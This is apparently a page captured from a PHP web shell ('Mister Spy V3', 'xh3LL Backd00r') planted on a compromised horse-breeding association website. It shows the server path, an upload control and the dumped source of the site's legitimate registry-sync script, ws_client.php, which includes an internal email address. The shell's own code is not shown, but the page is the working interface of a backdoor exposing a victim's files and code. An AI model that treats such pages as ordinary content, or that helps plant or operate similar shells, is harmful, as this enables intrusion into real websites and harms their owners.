Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/public_html/espanol/actualizador/
Upload File :
Current File : /home/caballoscriollos/public_html/espanol/actualizador/ws_client.php

<?php
ini_set('memory_limit', '128M');
require_once('../library/class.sraservice.php');
require_once('../library/class.animales.php');
require_once('../library/class.pdre.php');
require_once('../library/class.pdres.php');
require_once('../library/class.exis.php');
require_once('../library/class.exiss.php');
require_once('../library/class.extr.php');
require_once('../library/class.extrs.php');
require_once('../library/class.sexos.php');
require_once('../library/class.mail.php');

try {

	$SRAService = new SRAService();
	$oAnimales	= new Animales();
	$oExtrs		= new Extrs();
	$oExiss		= new Exiss();
	$oPdres		= new Pdres();

	$SRAService->Authenticate();

	$start = date("Y-m-d H:i:s",strtotime("-15 day"));
	$animales = $SRAService->GetData($start);

	if ($animales && count($animales) > 0) {

		usort($animales, function($a, $b) {
		    return strtotime($a->NaciFecha) - strtotime($b->NaciFecha);
		});

		foreach ($animales as $animal) {
			
			try {

				if (!$oAnimal = $oAnimales->GetById($animal->idProducto)) {

					$oAnimal = new Animal();

					// Si el código de asociación es 0 es nacional, sino es extranjero
					if ($animal->asocCodi != 0) {

						$oAnimal->Tabla = 'tblExtr';
						if (!$oAnimal->Animal = $oExtrs->GetAnimalBySBA($animal->nroRegistro, $animal->RP, Sexos::ParseSexoSRA($animal->sexo), $animal->asocCodi)) {
							$oAnimal->Animal = new Extr();
						}

					} else {
						if (Sexos::ParseSexoSRA($animal->sexo) == Sexos::Macho) {

							$oAnimal->Tabla = 'tblPdre';
							if (!$oAnimal->Animal = $oPdres->GetAnimalBySBA($animal->nroRegistro, $animal->RP, $animal->TipoRegistro)) {
								$oAnimal->Animal = new Pdre();
							}

						} else {

							$oAnimal->Tabla = 'tblExis';
							if (!$oAnimal->Animal = $oExiss->GetAnimalBySBA($animal->nroRegistro, $animal->RP, $animal->TipoRegistro)) {
								$oAnimal->Animal = new Exis();
							}

						}

					}
				}

				$oAnimal->IdProd = $animal->idProducto;
				$oAnimal->IdPa = $animal->idPadre;
				$oAnimal->IdMa = $animal->idMadre;

				print_r($oAnimal);
				print_r('<br>----------------------------<br><br>----------------------------<br><br>----------------------------<br><br>----------------------------<br>');

				$oAnimal->Animal->HBAE 		= $animal->nroRegistro;
				$oAnimal->Animal->ASOC 		= $animal->asocCodi;
				$oAnimal->Animal->ASOX 		= $animal->asocCodi;
				$oAnimal->Animal->RGST 		= $animal->TipoRegistro;
				$oAnimal->Animal->RPEX 		= $animal->RP;
				$oAnimal->Animal->NOMB 		= $animal->Nombre;
				$oAnimal->Animal->FNAC 		= $animal->NaciFecha;
				$oAnimal->Animal->CPEL 		= $animal->colorCodi;
				$oAnimal->Animal->CCUE 		= $animal->colorCodiCuerpo;
				$oAnimal->Animal->CCAB 		= $animal->colorCodiCabeza;
				$oAnimal->Animal->CMIE 		= $animal->colorCodiMiembros;
				$oAnimal->Animal->FBAJ 		= $animal->fechaBaja;
				$oAnimal->Animal->CBAJ 		= $animal->codiBaja;
				$oAnimal->Animal->PROP 		= $animal->propietarios->numero;
				$oAnimal->Animal->CRIA 		= $animal->criadores->numero;
				$oAnimal->Animal->SEXO 		= Sexos::ParseSexoSRA($animal->sexo);
				$oAnimal->Animal->IdProd 	= $animal->idProducto;
				$oAnimal->Animal->IdPa 		= $animal->idPadre;
				$oAnimal->Animal->IdMa 		= $animal->idMadre;

				$oAnimales->Save($oAnimal);

			} catch(Exception $ex) {
				echo '<li style="color: red">' . $ex->getMessage() . '</li>';
				Mail::Enviar('juan@crossingnet.com', 'Se ha producido un error al procesar las novedades de SRA - SBA: ' . $animal->nroRegistro, $ex->getMessage());
			}
			print_r('<br>----------------------------<br><br>----------------------------<br><br>----------------------------<br><br>----------------------------<br>');
			print_r('<br>----------------------------<br><br>----------------------------<br><br>----------------------------<br><br>----------------------------<br>');
		}
	}

} catch (Exception $e) {
	echo '<li style="color: red">' . $e->getMessage() . '</li>';
	Mail::Enviar('juan@crossingnet.com', 'Se ha producido un error al procesar las novedades de SRA', $e->getMessage());
}

?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat